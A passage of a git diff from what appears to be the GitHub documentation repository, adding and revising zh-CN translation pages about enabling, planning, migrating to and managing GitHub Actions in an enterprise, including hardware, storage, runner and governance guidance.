Concurrency*| +| :--- | :--- | :--- | +| 32 | 128 GB | 1500 jobs | +| 64 | 256 GB | 1900 jobs | +| 96 | 384 GB | 2200 jobs | + +*Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{%- endif %} + +If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." + +For more information about minimum hardware requirements for {% data variables.product.product_location %}, see the hardware considerations for your instance's platform. + +- [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations) +- [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations) +- [Google Cloud Platform](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations) +- [Hyper-V](/admin/installation/installing-github-enterprise-server-on-hyper-v#hardware-considerations) +- [OpenStack KVM](/admin/installation/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations) +- [VMware](/admin/installation/installing-github-enterprise-server-on-vmware#hardware-considerations){% ifversion ghes < 3.3 %} +- [XenServer](/admin/installation/installing-github-enterprise-server-on-xenserver#hardware-considerations){% endif %} + +{% data reusables.enterprise_installation.about-adjusting-resources %} + +## External storage requirements + +To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage. + +{% data variables.product.prodname_actions %} uses blob storage to store artifacts generated by workflow runs, such as workflow logs and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time. + +{% data variables.product.prodname_actions %} supports these storage providers: + +* Azure Blob storage +* Amazon S3 +* S3-compatible MinIO Gateway for NAS + +{% note %} + +**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. Other S3 API-compatible storage providers are unlikely to work due to differences from the S3 API. [Contact us](https://support.github.com/contact) to request support for additional storage providers. + +{% endnote %} + +## Networking considerations + +{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)." + +{% ifversion ghes %} + +## Enabling {% data variables.product.prodname_actions %} with your storage provider + +Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider: + +* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-with-azure-blob-storage) +* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage) +* [Enabling GitHub Actions with MinIO Gateway for NAS storage](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage) + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding self-hosted runners + +{% data reusables.actions.enterprise-github-hosted-runners %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +## Managing which actions can be used in your enterprise + +You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}. + +For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." + +{% data reusables.actions.general-security-hardening %} + +{% endif %} + +## Reserved Names + +When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore. diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md new file mode 100644 index 0000000000..7a7069a145 --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md @@ -0,0 +1,19 @@ +--- +title: Getting started with GitHub Actions for your enterprise +intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Actions +children: + - /introducing-github-actions-to-your-enterprise + - /migrating-your-enterprise-to-github-actions + - /getting-started-with-github-actions-for-github-enterprise-cloud + - /getting-started-with-github-actions-for-github-enterprise-server + - /getting-started-with-github-actions-for-github-ae +shortTitle: Get started +--- + diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md new file mode 100644 index 0000000000..9d1e765d83 --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -0,0 +1,124 @@ +--- +title: Introducing GitHub Actions to your enterprise +shortTitle: Introduce Actions +intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information about the basics of {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." + +![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) + +Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. + +## Governance and compliance + +Your should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. + +Determine which actions your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)." + +Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions that were not created by {% data variables.product.company_short %}. You can configure the actions that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions, you can limit allowed actions to those created by verified creators or a list of specific actions. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)." + +![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png) + +{% ifversion ghec or ghae-issue-4757-and-5856 %} +Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)." +{% endif %} + +You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %} + +![Audit log entries](/assets/images/help/repository/audit-log-entries.png) + +## Security + +You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. + +### Security hardening individual workflows and repositories + +Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)." + +You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)." + +### Securing access to secrets and deployment resources + +You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. + +In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png) +{% ifversion fpt or ghes > 3.0 or ghec or ghae %} +You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."{% endif %} + +### Security considerations for third-party actions + +There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that enourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)." + +## Innersourcing + +Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource workflows. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. + +{% ifversion ghec or ghes > 3.3 or ghae-issue-4757 %} +With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} + +To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)." + +Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)." + +## Managing resources + +You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. + +### Runners + +{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %} + +{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. + +You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." + +{% ifversion ghec or ghes > 3.2 %} +You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." +{% endif %} + +Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." + +### Storage + +{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)." + +![Screenshot of artifact](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) + +{% ifversion ghes %} +You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)." +{% endif %} + +{% data reusables.github-actions.artifact-log-retention-statement %} + +If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data. + +{% ifversion ghec %} +Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." +{% endif %} + +## Tracking usage + +You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. + +{% ifversion ghec %} +You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)." + +For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)." + +Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). + +You should also plan how you'll enable your teams to get the data they need from your archiving system. diff --git a/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md new file mode 100644 index 0000000000..2936f4d27f --- /dev/null +++ b/translations/zh-CN/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md @@ -0,0 +1,87 @@ +--- +title: Migrating your enterprise to GitHub Actions +shortTitle: Migrate to Actions +intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About enterprise migrations to {% data variables.product.prodname_actions %} + +To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. + +This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." + +## Planning your migration + +Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. + +### Leveraging migration specialists + +{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. + +### Identifying and inventorying migration targets + +Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. + +First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. + +Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)." + +With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. + +### Determine team impacts from migrations + +When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. + +Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. + +Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? + +Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. + +### Identifying and validating migration tools + +Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. + +After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. + +Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. + +### Deciding on a migration approach + +Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. + +We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. + +Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. + +Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. + +### Defining your migration schedule + +After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. + +First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. + +Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. + +## Migrating to {% data variables.product.prodname_actions %} + +When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. + +You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. + +## Retiring existing systems + +After your migration is complete, you can think about retiring your existing system. + +You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. + +Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md index 2452b80303..c04ba00eea 100644 --- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md +++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: 关于在企业中使用操作 -intro: '{% data variables.product.product_name %} 包含了大多数 {% data variables.product.prodname_dotcom %} 编写的操作，并且有选项允许访问来自 {% data variables.product.prodname_dotcom_the_website %} 和 {% data variables.product.prodname_marketplace %} 的其他操作。' +title: About using actions in your enterprise +intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.' redirect_from: - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server @@ -13,35 +13,35 @@ type: overview topics: - Actions - Enterprise -shortTitle: 在企业中添加操作 +shortTitle: Add actions in your enterprise --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -{% data variables.product.prodname_actions %} 工作流程可使用_操作_，它们是一些单独的任务，您可以组合这些操作以创建作业并自定义工作流程。 您可以创建自己的操作，或者使用和自定义 {% data variables.product.prodname_dotcom %} 社区分享的操作。 +{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. {% data reusables.actions.enterprise-no-internet-actions %} -## 与您的企业实例捆绑的正式操作 +## Official actions bundled with your enterprise instance -大多数官方 {% data variables.product.prodname_dotcom %} 编写的操作都会自动与 {% data variables.product.product_name %} 捆绑在一起，并且会在某个时间点从 {% data variables.product.prodname_marketplace %} 获取。 +{% data reusables.actions.actions-bundled-with-ghes %} -捆绑的官方操作包括 `actions/checkout`、`actions/upload-artifact`、`actions/download-artifact`、`actions/labeler` 以及各种 `actions/setup-` 操作等。 要查看您的企业实例中包含的所有官方操作，请在您的实例上浏览到 `actions` 组织：https://HOSTNAME/actions。 +The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: https://HOSTNAME/actions. -每个操作都是 `actions` 组织中的一个仓库，并且每个操作仓库都包含必要的标记、分支和提交 SHA，您的工作流程可以使用它们来引用操作。 有关如何更新捆绑的正式操作的信息，请参阅“[使用最新版本的正式捆绑操作](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)”。 +Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)." {% note %} -**注：**在包含自托管运行器的 {% data variables.product.product_name %} 上使用设置操作（例如 `actions/setup-LANGUAGE`）时，您可能需要在没有连接互联网的运行器上设置工具缓存。 更多信息请参阅“[在没有互联网连接的自托管运行器上设置工具缓存](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)”。 +**Note:** When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)." {% endnote %} -## 配置对 {% data variables.product.prodname_dotcom_the_website %} 上操作的访问权限 +## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %} -如果企业中的用户需要访问来自 {% data variables.product.prodname_dotcom_the_website %} 或 {% data variables.product.prodname_marketplace %} 的其他操作，有几个配置选项。 +{% data reusables.actions.access-actions-on-dotcom %} -推荐的方法是启用自动访问来自 {% data variables.product.prodname_dotcom_the_website %} 的所有操作。 通过使用 {% data variables.product.prodname_github_connect %} 将 {% data variables.product.product_name %} 与 {% data variables.product.prodname_ghe_cloud %} 集成可实现这一点。 更多信息请参阅“[启用使用 {% data variables.product.prodname_github_connect %} 自动访问 {% data variables.product.prodname_dotcom_the_website %} 操作](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)”。 {% data reusables.actions.enterprise-limit-actions-use %} +The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %} -或者，如果您想要更严格地控制企业中允许哪些操作，则可以使用 `actions-sync` 工具手动下载并将操作同步到您的企业实例中。 更多信息请参阅“[手动同步来自 {% data variables.product.prodname_dotcom_the_website %} 的操作](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)”。 +Alternatively, if you want stricter control over which actions are allowed in your enterprise, you can manually download and sync actions onto your enterprise instance using the `actions-sync` tool. For more information, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/enterprise/admin/github-actions/manually-syncing-actions-from-githubcom)." diff --git a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md index 5682278244..3470da6098 100644 --- a/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md +++ b/translations/zh-CN/content/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect.md @@ -1,6 +1,6 @@ --- -title: 启用使用 GitHub Connect 自动访问 GitHub.com 操作 -intro: '要允许企业中的 {% data variables.product.prodname_actions %} 使用来自 {% data variables.product.prodname_dotcom_the_website %} 的操作，您可以将企业实例连接到 {% data variables.product.prodname_ghe_cloud %}。' +title: Enabling automatic access to GitHub.com actions using GitHub Connect +intro: 'To allow {% data variables.product.prodname_actions %} in your enterprise to use actions from {% data variables.product.prodname_dotcom_the_website %}, you can connect your enterprise instance to {% data variables.product.prodname_ghe_cloud %}.' permissions: 'Site administrators for {% data variables.product.product_name %} who are also owners of the connected {% data variables.product.prodname_ghe_cloud %} organization or enterprise account can enable access to all {% data variables.product.prodname_dotcom_the_website %} actions.' redirect_from: - /enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect @@ -13,21 +13,25 @@ topics: - Actions - Enterprise - GitHub Connect -shortTitle: 对操作使用 GitHub Connect +shortTitle: Use GitHub Connect for actions --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -默认情况下，{% data variables.product.product_name %} 上的 {% data variables.product.prodname_actions %} 工作流程不能使用直接来自 {% data variables.product.prodname_dotcom_the_website %} 或 [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions) 的操作。 +## About automatic access to {% data variables.product.prodname_dotcom_the_website %} actions -要使 {% data variables.product.prodname_dotcom_the_website %} 上的所有操作可用于您的企业实例，您可以使用 {% data variables.product.prodname_github_connect %} 将 {% data variables.product.product_name %} 与 {% data variables.product.prodname_ghe_cloud %} 集成。 有关访问来自 {% data variables.product.prodname_dotcom_the_website %} 的操作的其他方式，请参阅“[关于使用企业中的操作](/admin/github-actions/about-using-actions-in-your-enterprise)”。 +By default, {% data variables.product.prodname_actions %} workflows on {% data variables.product.product_name %} cannot use actions directly from {% data variables.product.prodname_dotcom_the_website %} or [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions). -## 启用对所有 {% data variables.product.prodname_dotcom_the_website %} 操作的自动访问 +To make all actions from {% data variables.product.prodname_dotcom_the_website %} available on your enterprise instance, you can use {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For other ways of accessing actions from {% data variables.product.prodname_dotcom_the_website %}, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." + +To use actions from {% data variables.product.prodname_dotcom_the_website %}, your self-hosted runners must be able to download public actions from `api.github.com`. + +## Enabling automatic access to all {% data variables.product.prodname_dotcom_the_website %} actions {% data reusables.actions.enterprise-github-connect-warning %} -在企业实例上启用访问来自 {% data variables.product.prodname_dotcom_the_website %} 的所有操作之前，必须将企业连接到 {% data variables.product.prodname_dotcom_the_website %}。 更多信息请参阅“[将企业连接到 {% data variables.product.prodname_ghe_cloud %} ](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)”。 +Before enabling access to all actions from {% data variables.product.prodname_dotcom_the_website %} on your enterprise instance, you must connect your enterprise to {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Connecting your enterprise to {% data variables.product.prodname_ghe_cloud %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." {% data reusables.enterprise-accounts.access-enterprise %} {%- ifversion ghes < 3.1 %} @@ -35,9 +39,11 @@ shortTitle: 对操作使用 GitHub Connect {%- endif %} {% data reusables.enterprise-accounts.github-connect-tab %} {%- ifversion ghes > 3.0 or ghae %} -1. 在“Users can 